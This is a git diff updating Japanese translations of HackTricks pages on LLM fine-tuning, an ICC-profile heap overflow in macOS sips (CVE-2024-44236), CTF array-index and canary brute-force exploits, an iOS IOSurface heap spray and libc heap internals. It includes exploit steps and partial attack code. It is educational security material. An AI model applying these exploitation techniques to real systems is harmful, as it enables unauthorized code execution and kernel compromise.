指示に従うようにLLMをファインチューニングするためには、指示と応答を含むデータセットが必要です。指示に従うようにLLMをトレーニングするための異なるフォーマットがあります。例えば:
|
||||
LLMを指示に従うようにファインチューニングするためには、指示と応答を含むデータセットが必要です。LLMを指示に従うようにトレーニングするための異なるフォーマットがあります。例えば:
|
||||
|
||||
- Apply Alpacaプロンプトスタイルの例:
|
||||
```csharp
|
||||
@ -29,7 +29,7 @@ Can you explain what gravity is in simple terms?
|
||||
<|Assistant|>
|
||||
Absolutely! Gravity is a force that pulls objects toward each other.
|
||||
```
|
||||
トレーニングデータセットに生のテキストだけでなく、このようなデータセットを使用することで、LLMは受け取った質問に対して具体的な回答を提供する必要があることを理解するのに役立ちます。
|
||||
トレーニングデータセットにこのようなデータセットを使用することで、生のテキストだけでなく、LLMは受け取る質問に対して具体的な回答を提供する必要があることを理解するのに役立ちます。
|
||||
|
||||
したがって、リクエストと回答を含むデータセットで最初に行うべきことの1つは、そのデータを希望するプロンプト形式にモデル化することです。例えば:
|
||||
```python
|
||||
@ -60,8 +60,8 @@ Then, it's needed to batch all the inputs and expected outputs for the training.
|
||||
- テキストをトークン化する
|
||||
- すべてのサンプルを同じ長さにパディングする(通常、長さはLLMの事前トレーニングに使用されるコンテキストの長さと同じくらい大きくなる)
|
||||
- カスタムコレート関数で入力を1つシフトして期待されるトークンを作成する
|
||||
- トレーニング損失から除外するために、いくつかのパディングトークンを-100に置き換える:最初の`endoftext`トークンの後、他のすべての`endoftext`トークンを-100に置き換える(`cross_entropy(...,ignore_index=-100)`を使用することは、-100のターゲットを無視することを意味する)
|
||||
- \[オプション\] LLMが回答を生成する方法のみを学習するように、質問に属するすべてのトークンも-100を使用してマスクする。Alpacaスタイルを適用する場合、これは`### Response:`までのすべてをマスクすることを意味する
|
||||
- トレーニング損失から除外するために、いくつかのパディングトークンを-100に置き換える:最初の`endoftext`トークンの後、他のすべての`endoftext`トークンを-100に置き換える(`cross_entropy(...,ignore_index=-100)`を使用することで、-100のターゲットを無視することを意味する)
|
||||
- \[オプション\] LLMが回答を生成する方法だけを学ぶように、質問に属するすべてのトークンも-100を使用してマスクする。Apply Alpacaスタイルでは、`### Response:`までのすべてをマスクすることを意味する
|
||||
|
||||
これが作成されたら、各データセット(トレーニング、検証、テスト)のデータローダーを作成する時間です。
|
||||
|
||||
@ -101,4 +101,4 @@ You can find an example of the code to perform this fine tuning in [https://gith
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,12 +1,12 @@
|
||||
# LLMトレーニング - データ準備
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**これは非常に推奨される本** [**https://www.manning.com/books/build-a-large-language-model-from-scratch**](https://www.manning.com/books/build-a-large-language-model-from-scratch) **からの私のメモで、いくつかの追加情報があります。**
|
||||
**これは非常に推奨される本** [**https://www.manning.com/books/build-a-large-language-model-from-scratch**](https://www.manning.com/books/build-a-large-language-model-from-scratch) **からの私のノートで、いくつかの追加情報が含まれています。**
|
||||
|
||||
## 基本情報
|
||||
|
||||
まず、この投稿を読んで、知っておくべき基本的な概念を理解してください:
|
||||
まず、知っておくべき基本概念についてこの投稿を読むべきです:
|
||||
|
||||
{{#ref}}
|
||||
0.-basic-llm-concepts.md
|
||||
@ -33,8 +33,8 @@
|
||||
## 3. トークン埋め込み
|
||||
|
||||
> [!TIP]
|
||||
> この第三段階の目標は非常にシンプルです:**語彙内の各トークンにモデルをトレーニングするために必要な次元のベクトルを割り当てること**。語彙内の各単語はX次元の空間内の点になります。\
|
||||
> 最初は各単語の空間内の位置は「ランダムに」初期化され、これらの位置はトレーニング中に改善されるトレーニング可能なパラメータです。
|
||||
> この第三段階の目標は非常にシンプルです:**語彙内の各トークンに対して、モデルをトレーニングするために必要な次元のベクトルを割り当てること**。語彙内の各単語はX次元の空間内の点になります。\
|
||||
> 最初は、空間内の各単語の位置は「ランダムに」初期化され、これらの位置はトレーニング中に改善されるトレーニング可能なパラメータです。
|
||||
>
|
||||
> さらに、トークン埋め込み中に**別の埋め込み層が作成され**、これは(この場合)**トレーニング文内の単語の絶対位置を表します**。このように、文内の異なる位置にある単語は異なる表現(意味)を持ちます。
|
||||
|
||||
@ -45,7 +45,7 @@
|
||||
## 4. アテンションメカニズム
|
||||
|
||||
> [!TIP]
|
||||
> この第四段階の目標は非常にシンプルです:**いくつかのアテンションメカニズムを適用すること**。これらは**語彙内の単語と現在トレーニングに使用されている文内の隣接単語との関係を捉える**ための**繰り返し層**になります。\
|
||||
> この第四段階の目標は非常にシンプルです:**いくつかのアテンションメカニズムを適用すること**。これらは、**語彙内の単語と現在トレーニング中の文内の隣接単語との関係を捉えるための多くの**繰り返し層**になります。\
|
||||
> これには多くの層が使用されるため、多くのトレーニング可能なパラメータがこの情報を捉えることになります。
|
||||
|
||||
{{#ref}}
|
||||
@ -93,10 +93,10 @@
|
||||
## 7.2. 指示に従うためのファインチューニング
|
||||
|
||||
> [!TIP]
|
||||
> このセクションの目標は、**テキストを生成するのではなく、指示に従うためにすでに事前トレーニングされたモデルをファインチューニングする方法を示すこと**です。例えば、チャットボットとしてタスクに応答することです。
|
||||
> このセクションの目標は、**テキストを生成するだけでなく、指示に従うためにすでに事前トレーニングされたモデルをファインチューニングする方法を示すこと**です。例えば、チャットボットとしてタスクに応答することです。
|
||||
|
||||
{{#ref}}
|
||||
7.2.-fine-tuning-to-follow-instructions.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,3 +1,3 @@
|
||||
# Arbitrary Write 2 Exec
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -21,7 +21,7 @@ buffer[i] = 0;
|
||||
## 攻撃手順
|
||||
|
||||
1. **悪意のある `.icc` プロファイルを作成:**
|
||||
- 署名 `acsp` を持つICCヘッダー(128バイト)を構築し、単一の `lutAToBType` または `lutBToAType` タグエントリを追加します。
|
||||
- 署名 `acsp` のICCヘッダー(128バイト)を構築し、単一の `lutAToBType` または `lutBToAType` タグエントリを追加します。
|
||||
- タグテーブルで、 `offsetToCLUT` をタグの `size`(`tagDataSize`)に設定します。
|
||||
- タグデータブロックの直後に攻撃者が制御するデータを配置して、ヒープメタデータを上書きします。
|
||||
2. **解析をトリガー:**
|
||||
@ -34,12 +34,12 @@ sips --verifyColor malicious.icc
|
||||
|
||||
## 影響
|
||||
|
||||
成功した攻撃は、脆弱な `sips` ユーティリティを実行しているmacOSシステム上でユーザープリビレッジでのリモート任意コード実行を引き起こします。
|
||||
成功した攻撃は、脆弱な `sips` ユーティリティを実行しているmacOSシステム上でユーザープリビレッジでのリモート任意コード実行をもたらします。
|
||||
|
||||
## 検出
|
||||
|
||||
- 一般的なプロトコル(FTP、HTTP/S、IMAP、SMB、NFS、SMTP)でのファイル転送を監視します。
|
||||
- 署名 `acsp` を持つ転送されたファイルを検査します。
|
||||
- 署名 `acsp` の転送されたファイルを検査します。
|
||||
- 各 `mAB ` または `mBA ` タグについて、 `Offset to CLUT` フィールドが `Tag data size` に等しいか確認します。
|
||||
- この条件が満たされる場合は、疑わしいとしてフラグを立てます。
|
||||
|
||||
@ -50,4 +50,4 @@ https://www.thezdi.com/blog/2025/5/7/cve-2024-44236-remote-code-execution-vulner
|
||||
- Apple 2024年10月セキュリティアップデート(CVE-2024-44236のパッチ)
|
||||
https://support.apple.com/en-us/121564
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -6,15 +6,15 @@
|
||||
|
||||
このカテゴリには、配列のインデックスの処理におけるエラーによって特定のデータを上書きすることが可能になるために発生するすべての脆弱性が含まれます。これは非常に広いカテゴリであり、特定の方法論はありません。なぜなら、エクスプロイトメカニズムは脆弱性の条件に完全に依存するからです。
|
||||
|
||||
しかし、いくつかの良い**例**を見つけることができます:
|
||||
しかし、いくつかの素晴らしい**例**を見つけることができます:
|
||||
|
||||
- [https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html](https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html)
|
||||
- **アドレス**を格納するための**2つの衝突する配列**があり、データの**サイズ**を持つものがあります。一方からもう一方を上書きすることが可能で、サイズとして任意のアドレスを書くことができます。これにより、GOTテーブル内の`free`関数のアドレスを書き込み、その後`system`へのアドレスで上書きし、`/bin/sh`を持つメモリからfreeを呼び出すことができます。
|
||||
- **2つの衝突する配列**があり、一つはデータが保存される**アドレス**用、もう一つはそのデータの**サイズ**用です。片方からもう片方を上書きすることが可能で、任意のアドレスをサイズとして指定することができます。これにより、GOTテーブル内の`free`関数のアドレスを書き込み、その後`system`のアドレスで上書きし、`/bin/sh`を持つメモリからfreeを呼び出すことができます。
|
||||
- [https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html](https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html)
|
||||
- 64ビット、nxなし。サイズを上書きして、すべてのものが倍の数として使用され、最小から最大にソートされるようなバッファオーバーフローを取得します。そのため、その要件を満たすシェルコードを作成する必要があります。カナリアがその位置から移動しないようにし、最終的にRIPをretへのアドレスで上書きし、以前の要件を満たし、最大のアドレスをスタックの開始を指す新しいアドレスに設定します(プログラムによって漏洩された)。
|
||||
- 64ビット、nxなし。サイズを上書きして、すべてのものが倍の数として使用され、最小から最大にソートされるようなバッファオーバーフローを引き起こします。そのため、その要件を満たすシェルコードを作成する必要があります。カナリアがその位置から移動しないようにし、最終的にRIPをretのアドレスで上書きし、以前の要件を満たし、最大のアドレスをスタックの開始を指す新しいアドレスに設定します(プログラムによって漏洩された)。
|
||||
- [https://faraz.faith/2019-10-20-secconctf-2019-sum/](https://faraz.faith/2019-10-20-secconctf-2019-sum/)
|
||||
- 64ビット、relroなし、カナリア、nx、pieなし。スタック内の配列にオフバイワンがあり、ポインタを制御することができます。WWWを付与します(配列のすべての数の合計を上書きされたアドレスに書き込みます)。スタックが制御されているため、GOTの`exit`アドレスが`pop rdi; ret`で上書きされ、スタックに`main`へのアドレスが追加されます(`main`に戻るループ)。次に、putsを使用してGOT内のputのアドレスを漏洩させるためのROPチェーンが使用されます(`exit`が呼び出されるため、`pop rdi; ret`が呼び出され、このチェーンがスタックで実行されます)。最後に、ret2libを実行する新しいROPチェーンが使用されます。
|
||||
- 64ビット、relroなし、カナリア、nx、pieなし。スタック内の配列にオフバイワンがあり、ポインタを制御することができます。これにより、WWWが許可されます(配列のすべての数の合計をオーバーライドされたアドレスに書き込みます)。スタックが制御されているため、GOTの`exit`アドレスが`pop rdi; ret`で上書きされ、スタックに`main`のアドレスが追加されます(`main`に戻るループ)。次に、putsを使用してGOT内のputのアドレスを漏洩させるROPチェーンが使用されます(`exit`が呼び出されるため、`pop rdi; ret`が呼び出され、このチェーンがスタックで実行されます)。最後に、ret2libを実行する新しいROPチェーンが使用されます。
|
||||
- [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html)
|
||||
- 32ビット、relroなし、カナリアなし、nx、pieなし。悪いインデックスを利用して、スタックからlibcとヒープのアドレスを漏洩させます。バッファオーバーフローを利用して、`system('/bin/sh')`を呼び出すret2libを行います(ヒープアドレスがチェックをバイパスするために必要です)。
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -1,22 +1,22 @@
|
||||
# BF Forked & Threaded Stack Canaries
|
||||
# BFフォークおよびスレッドスタックカナリー
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**カナリアとPIE(位置独立実行可能ファイル)によって保護されたバイナリに直面している場合、バイパスする方法を見つける必要があります。**
|
||||
**カナリーとPIE(位置独立実行可能ファイル)によって保護されたバイナリに直面している場合、バイパスする方法を見つける必要があります。**
|
||||
|
||||
.png>)
|
||||
|
||||
> [!TIP]
|
||||
> **`checksec`** は、バイナリがカナリアによって保護されていることを見つけられない場合があります。これは静的にコンパイルされており、関数を特定できないためです。\
|
||||
> **`checksec`** は、バイナリがカナリーによって保護されていることを見つけられない場合があります。これは静的にコンパイルされており、関数を特定できないためです。\
|
||||
> ただし、関数呼び出しの最初にスタックに値が保存され、その値が終了前にチェックされることを見つけることで、手動で気づくことができます。
|
||||
|
||||
## ブルートフォースカナリア
|
||||
## ブルートフォースカナリー
|
||||
|
||||
単純なカナリアをバイパスする最良の方法は、バイナリが**新しい接続を確立するたびに子プロセスをフォークするプログラム**である場合です(ネットワークサービス)。なぜなら、接続するたびに**同じカナリアが使用されるからです**。
|
||||
単純なカナリーをバイパスする最良の方法は、バイナリが**新しい接続を確立するたびに子プロセスをフォークするプログラム**である場合です(ネットワークサービス)。なぜなら、接続するたびに**同じカナリーが使用される**からです。
|
||||
|
||||
したがって、カナリアをバイパスする最良の方法は、**文字ごとにブルートフォースすること**です。そして、推測したカナリアバイトが正しいかどうかは、プログラムがクラッシュしたか、通常のフローを続けているかを確認することで判断できます。この例では、関数は**8バイトのカナリア(x64)をブルートフォースし**、正しく推測されたバイトと不正なバイトを**チェック**して区別します。サーバーから**レスポンス**が返されるかどうかを確認します(**他の状況**では**try/except**を使用することもできます):
|
||||
したがって、カナリーをバイパスする最良の方法は、**文字ごとにブルートフォースすること**であり、推測したカナリーのバイトが正しいかどうかは、プログラムがクラッシュしたか、通常のフローを続けているかを確認することで判断できます。この例では、関数は**8バイトのカナリー(x64)をブルートフォースし**、正しく推測されたバイトと不正なバイトを**チェック**することで区別します。サーバーから**レスポンス**が返されるかどうかを確認します(**他の状況**では**try/except**を使用することもできます):
|
||||
|
||||
### 例 1
|
||||
### 例1
|
||||
|
||||
この例は64ビット用に実装されていますが、32ビット用にも簡単に実装できます。
|
||||
```python
|
||||
@ -103,11 +103,11 @@ log.info(f"The canary is: {canary}")
|
||||
```
|
||||
## スレッド
|
||||
|
||||
同じプロセスのスレッドは**同じカナリアトークンを共有する**ため、バイナリが攻撃のたびに新しいスレッドを生成する場合、カナリアを**ブルートフォース**することが可能です。
|
||||
同じプロセスのスレッドは**同じカナリアトークンを共有**するため、バイナリが攻撃のたびに新しいスレッドを生成する場合、カナリアを**ブルートフォース**することが可能です。
|
||||
|
||||
さらに、カナリアで保護された**スレッド関数内のバッファオーバーフロー**を利用して、**TLSに保存されたマスターカナリアを変更する**ことができます。これは、スレッドの**スタック内のbof**を介してTLSが保存されているメモリ位置に到達することが可能であるためです。\
|
||||
さらに、カナリアで保護された**スレッド関数内のバッファオーバーフロー**を利用して、**TLSに保存されたマスターカナリアを変更**することができます。これは、スレッドの**スタック内のbof**を介してTLSが保存されているメモリ位置に到達することが可能であるためです。\
|
||||
その結果、チェックは同じ(ただし変更された)2つのカナリアで使用されるため、緩和策は無意味です。\
|
||||
この攻撃は以下の書き込みで実行されます: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
|
||||
この攻撃は、次の書き込みで実行されます: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
|
||||
|
||||
また、[https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015)のプレゼンテーションも確認してください。ここでは、通常**TLS**は**`mmap`**によって保存され、**スレッド**の**スタック**が作成されるときも`mmap`によって生成されるため、前述の書き込みで示されたようにオーバーフローが可能であることが述べられています。
|
||||
|
||||
@ -119,4 +119,4 @@ log.info(f"The canary is: {canary}")
|
||||
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -1,6 +1,6 @@
|
||||
# iOS Exploiting
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Physical use-after-free
|
||||
|
||||
@ -33,18 +33,18 @@ iOSのユーザープロセスの**仮想メモリアドレス空間**は**0x0
|
||||
|
||||
#### Example: Mapping a Virtual Address
|
||||
|
||||
仮に仮想アドレス**0x1000000000**にアクセスしようとすると:
|
||||
仮に仮想アドレス**0x1000000000**にアクセスしようとするとします:
|
||||
|
||||
1. **L1 Table**:
|
||||
* カーネルは、この仮想アドレスに対応するL1ページテーブルエントリをチェックします。もし**L2ページテーブルへのポインタ**があれば、そのL2テーブルに進みます。
|
||||
* カーネルは、この仮想アドレスに対応するL1ページテーブルエントリをチェックします。もしそれが**L2ページテーブルへのポインタ**を持っていれば、そのL2テーブルに進みます。
|
||||
2. **L2 Table**:
|
||||
* カーネルは、より詳細なマッピングのためにL2ページテーブルをチェックします。このエントリが**L3ページテーブル**を指している場合、そこに進みます。
|
||||
* カーネルは、より詳細なマッピングのためにL2ページテーブルをチェックします。このエントリが**L3ページテーブル**を指していれば、そこに進みます。
|
||||
3. **L3 Table**:
|
||||
* カーネルは最終的なL3エントリを参照し、実際のメモリページの**物理アドレス**を指します。
|
||||
* カーネルは最終的なL3エントリを調べ、実際のメモリページの**物理アドレス**を指します。
|
||||
|
||||
#### Example of Address Mapping
|
||||
|
||||
物理アドレス**0x800004000**をL2テーブルの最初のインデックスに書き込むと:
|
||||
物理アドレス**0x800004000**をL2テーブルの最初のインデックスに書き込むと、次のようになります:
|
||||
|
||||
* 仮想アドレス**0x1000000000**から**0x1002000000**は、物理アドレス**0x800004000**から**0x802004000**にマッピングされます。
|
||||
* これはL2レベルでの**ブロックマッピング**です。
|
||||
@ -57,35 +57,35 @@ iOSのユーザープロセスの**仮想メモリアドレス空間**は**0x0
|
||||
|
||||
**物理的なuse-after-free**(UAF)は、次のような場合に発生します:
|
||||
|
||||
1. プロセスが**読み取り可能かつ書き込み可能な**メモリを**割り当て**ます。
|
||||
1. プロセスが**読み取り可能かつ書き込み可能**なメモリを**割り当て**ます。
|
||||
2. **ページテーブル**がこのメモリをプロセスがアクセスできる特定の物理アドレスにマッピングするように更新されます。
|
||||
3. プロセスがメモリを**解放**(フリー)します。
|
||||
4. しかし、**バグ**のために、カーネルはページテーブルからマッピングを**削除するのを忘れ**、対応する物理メモリをフリーとしてマークします。
|
||||
5. その後、カーネルはこの「解放された」物理メモリを**カーネルデータ**などの他の目的のために**再割り当て**できます。
|
||||
5. カーネルはその後、この「解放された」物理メモリを**カーネルデータ**などの他の目的のために**再割り当て**できます。
|
||||
6. マッピングが削除されなかったため、プロセスはこの物理メモリに**読み書き**を続けることができます。
|
||||
|
||||
これは、プロセスが**カーネルメモリのページ**にアクセスできることを意味し、そこには機密データや構造が含まれている可能性があり、攻撃者が**カーネルメモリを操作**できる可能性があります。
|
||||
|
||||
### Exploitation Strategy: Heap Spray
|
||||
|
||||
攻撃者は解放されたメモリにどの特定のカーネルページが割り当てられるかを制御できないため、**heap spray**と呼ばれる技術を使用します:
|
||||
攻撃者は、どの特定のカーネルページが解放されたメモリに割り当てられるかを制御できないため、**ヒープスプレー**と呼ばれる技術を使用します:
|
||||
|
||||
1. 攻撃者はカーネルメモリに**多数のIOSurfaceオブジェクト**を作成します。
|
||||
2. 各IOSurfaceオブジェクトは、そのフィールドの1つに**マジック値**を含んでおり、識別が容易です。
|
||||
3. 彼らは**解放されたページをスキャン**して、これらのIOSurfaceオブジェクトが解放されたページに配置されているかどうかを確認します。
|
||||
2. 各IOSurfaceオブジェクトは、そのフィールドの1つに**マジックバリュー**を含んでおり、識別が容易です。
|
||||
3. 攻撃者は**解放されたページをスキャン**して、これらのIOSurfaceオブジェクトのいずれかが解放されたページに配置されているかを確認します。
|
||||
4. 解放されたページにIOSurfaceオブジェクトを見つけると、それを使用して**カーネルメモリを読み書き**できます。
|
||||
|
||||
この詳細については[https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)を参照してください。
|
||||
|
||||
### Step-by-Step Heap Spray Process
|
||||
|
||||
1. **Spray IOSurface Objects**: 攻撃者は特別な識別子(「マジック値」)を持つ多くのIOSurfaceオブジェクトを作成します。
|
||||
2. **Scan Freed Pages**: 彼らは、オブジェクトのいずれかが解放されたページに割り当てられているかどうかを確認します。
|
||||
1. **Spray IOSurface Objects**: 攻撃者は特別な識別子(「マジックバリュー」)を持つ多くのIOSurfaceオブジェクトを作成します。
|
||||
2. **Scan Freed Pages**: 彼らは、オブジェクトのいずれかが解放されたページに割り当てられているかを確認します。
|
||||
3. **Read/Write Kernel Memory**: IOSurfaceオブジェクトのフィールドを操作することで、カーネルメモリ内で**任意の読み書き**を行う能力を得ます。これにより、彼らは:
|
||||
* 1つのフィールドを使用してカーネルメモリ内の**任意の32ビット値**を**読み取る**ことができます。
|
||||
* 別のフィールドを使用して**64ビット値を書き込む**ことができ、安定した**カーネル読み書きプリミティブ**を実現します。
|
||||
|
||||
IOSURFACE_MAGICというマジック値を持つIOSurfaceオブジェクトを生成して、後で検索します:
|
||||
IOSURFACE_MAGICというマジックバリューを持つIOSurfaceオブジェクトを生成して、後で検索します:
|
||||
```c
|
||||
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
|
||||
if (*nClients >= 0x4000) return;
|
||||
@ -204,4 +204,4 @@ iosurface_set_indexed_timestamp_pointer(info.object, orig);
|
||||
|
||||
これらのプリミティブを使用することで、エクスプロイトはカーネルメモリへの制御された**32ビットの読み取り**と**64ビットの書き込み**を提供します。さらなる脱獄手順には、追加の保護(例:新しいarm64eデバイスのPPL)をバイパスする必要があるかもしれない、より安定した読み書きプリミティブが含まれる可能性があります。
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -1,10 +1,10 @@
|
||||
# Libc Heap
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Heap Basics
|
||||
|
||||
ヒープは基本的に、プログラムが**`malloc`**、`calloc`などの関数を呼び出してデータを要求する際にデータを保存できる場所です。さらに、このメモリがもはや必要なくなったときは、**`free`**関数を呼び出すことで利用可能になります。
|
||||
ヒープは基本的に、プログラムが**`malloc`**、`calloc`などの関数を呼び出してデータを要求する際にデータを保存できる場所です。さらに、このメモリがもはや必要なくなると、**`free`**関数を呼び出すことで利用可能になります。
|
||||
|
||||
示されているように、これはバイナリがメモリにロードされた直後の場所です(`[heap]`セクションを確認してください):
|
||||
|
||||
@ -12,7 +12,7 @@
|
||||
|
||||
### Basic Chunk Allocation
|
||||
|
||||
ヒープにデータを保存するために要求されると、ヒープの一部がそのために割り当てられます。このスペースはビンに属し、要求されたデータ + ビンヘッダーのスペース + 最小ビンサイズオフセットの分だけがチャンクのために予約されます。目標は、各チャンクの位置を見つけるのを複雑にせず、できるだけ少ないメモリを予約することです。このために、メタデータチャンク情報が使用され、使用中/未使用の各チャンクの位置を把握します。
|
||||
ヒープにデータを保存するために要求されると、ヒープの一部がそのために割り当てられます。このスペースはビンに属し、要求されたデータ + ビンヘッダーのスペース + 最小ビンサイズオフセットの分だけがチャンクのために予約されます。目標は、各チャンクの位置を見つけるのを複雑にせず、できるだけ少ないメモリを予約することです。このために、メタデータチャンク情報が使用され、使用中/未使用のチャンクの位置を把握します。
|
||||
|
||||
スペースを予約する方法はいくつかありますが、主に使用されるビンによって異なりますが、一般的な方法論は次のとおりです:
|
||||
|
||||
@ -31,19 +31,19 @@
|
||||
|
||||
これに対処するために、ptmalloc2ヒープアロケータは「アリーナ」を導入しました。ここで**各アリーナ**は**独自の**データ**構造**と**ミューテックス**を持つ**別々のヒープ**として機能し、異なるアリーナを使用する限り、複数のスレッドが互いに干渉することなくヒープ操作を実行できます。
|
||||
|
||||
デフォルトの「メイン」アリーナは、シングルスレッドアプリケーションのヒープ操作を処理します。**新しいスレッド**が追加されると、ヒープマネージャーは競合を減らすために**セカンダリアリーナ**を割り当てます。最初に、各新しいスレッドを未使用のアリーナに接続しようとし、必要に応じて新しいアリーナを作成します。32ビットシステムではCPUコア数の2倍、64ビットシステムでは8倍までの制限があります。制限に達すると、**スレッドはアリーナを共有しなければならず**、競合が発生する可能性があります。
|
||||
デフォルトの「メイン」アリーナは、シングルスレッドアプリケーションのヒープ操作を処理します。**新しいスレッド**が追加されると、ヒープマネージャーは競合を減らすために**セカンダリアリーナ**を割り当てます。最初に、各新しいスレッドを未使用のアリーナに接続しようとし、必要に応じて新しいものを作成します。32ビットシステムではCPUコア数の2倍、64ビットシステムでは8倍までの制限があります。制限に達すると、**スレッドはアリーナを共有しなければならず**、競合が発生する可能性があります。
|
||||
|
||||
メインアリーナとは異なり、`brk`システムコールを使用して拡張されるメインアリーナに対し、セカンダリアリーナは`mmap`と`mprotect`を使用して「サブヒープ」を作成し、マルチスレッド操作のためのメモリ管理の柔軟性を提供します。
|
||||
メインアリーナとは異なり、`brk`システムコールを使用して拡張されるメインアリーナに対し、セカンダリアリーナは`mmap`と`mprotect`を使用して「サブヒープ」を作成し、ヒープの動作をシミュレートし、マルチスレッド操作のためのメモリ管理の柔軟性を提供します。
|
||||
|
||||
### Subheaps
|
||||
|
||||
サブヒープは、マルチスレッドアプリケーションのセカンダリアリーナのためのメモリ予備として機能し、メインヒープとは別に自分自身のヒープ領域を成長させ、管理できるようにします。サブヒープが初期ヒープとどのように異なり、どのように機能するかは次のとおりです:
|
||||
サブヒープは、マルチスレッドアプリケーションにおけるセカンダリアリーナのメモリ予備として機能し、メインヒープとは別に自分自身のヒープ領域を成長させ、管理できるようにします。サブヒープが初期ヒープとどのように異なり、どのように機能するかは次のとおりです:
|
||||
|
||||
1. **初期ヒープ vs. サブヒープ**:
|
||||
- 初期ヒープはプログラムのバイナリの直後にメモリに位置し、`sbrk`システムコールを使用して拡張されます。
|
||||
- セカンダリアリーナによって使用されるサブヒープは、指定されたメモリ領域をマッピングするシステムコールである`mmap`を通じて作成されます。
|
||||
2. **`mmap`によるメモリ予約**:
|
||||
- ヒープマネージャーがサブヒープを作成するとき、大きなメモリブロックを`mmap`を通じて予約します。この予約は即座にメモリを割り当てるわけではなく、他のシステムプロセスや割り当てが使用しないべき領域を指定するだけです。
|
||||
- ヒープマネージャーがサブヒープを作成するとき、大きなメモリブロックを`mmap`を通じて予約します。この予約は即座にメモリを割り当てるわけではなく、他のシステムプロセスや割り当てが使用すべきでない領域を指定するだけです。
|
||||
- デフォルトでは、サブヒープの予約サイズは32ビットプロセスで1MB、64ビットプロセスで64MBです。
|
||||
3. **`mprotect`による段階的拡張**:
|
||||
- 予約されたメモリ領域は最初に`PROT_NONE`としてマークされ、カーネルがこのスペースに物理メモリを割り当てる必要がないことを示します。
|
||||
@ -52,7 +52,7 @@
|
||||
|
||||
### heap_info <a href="#heap_info" id="heap_info"></a>
|
||||
|
||||
この構造体はヒープの関連情報を割り当てます。さらに、ヒープメモリは追加の割り当ての後に連続していない場合があり、この構造体はその情報も保存します。
|
||||
この構造体はヒープの関連情報を割り当てます。さらに、ヒープメモリは追加の割り当ての後に連続していない場合があるため、この構造体はその情報も保存します。
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837
|
||||
|
||||
@ -74,7 +74,7 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
|
||||
|
||||
**各ヒープ**(メインアリーナまたは他のスレッドアリーナ)には**`malloc_state`構造体があります。**\
|
||||
**メインアリーナの`malloc_state`**構造体は**libcのグローバル変数**であることに注意することが重要です(したがって、libcのメモリ空間にあります)。\
|
||||
スレッドのヒープの**`malloc_state`**構造体は、**各スレッドの「ヒープ」内にあります**。
|
||||
スレッドのヒープの**`malloc_state`**構造体は、**各スレッドの「ヒープ」の内部**にあります。
|
||||
|
||||
この構造体から注目すべき興味深い点がいくつかあります(以下のCコードを参照):
|
||||
|
||||
@ -90,11 +90,11 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
|
||||
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
|
||||
```
|
||||
|
||||
- `mchunkptr bins[NBINS * 2 - 2];` は**小さな、大きな、未ソートの** **ビン**の**最初と最後のチャンク**への**ポインタ**を含んでいます(-2はインデックス0が使用されていないためです)。
|
||||
- `mchunkptr bins[NBINS * 2 - 2];` は**小さな、大きな、未ソートの** **ビン**の**最初と最後のチャンク**への**ポインタ**を含みます(-2はインデックス0が使用されていないためです)。
|
||||
- したがって、これらのビンの**最初のチャンク**はこの構造体への**逆ポインタ**を持ち、これらのビンの**最後のチャンク**はこの構造体への**前方ポインタ**を持ちます。基本的に、もしあなたが**メインアリーナでこれらのアドレスを漏洩させることができれば**、あなたは**libc**内の構造体へのポインタを持つことになります。
|
||||
- 構造体`struct malloc_state *next;`と`struct malloc_state *next_free;`はアリーナのリンクリストです。
|
||||
- `top`チャンクは最後の「チャンク」であり、基本的に**ヒープの残りのすべてのスペース**です。トップチャンクが「空」になると、ヒープは完全に使用され、さらにスペースを要求する必要があります。
|
||||
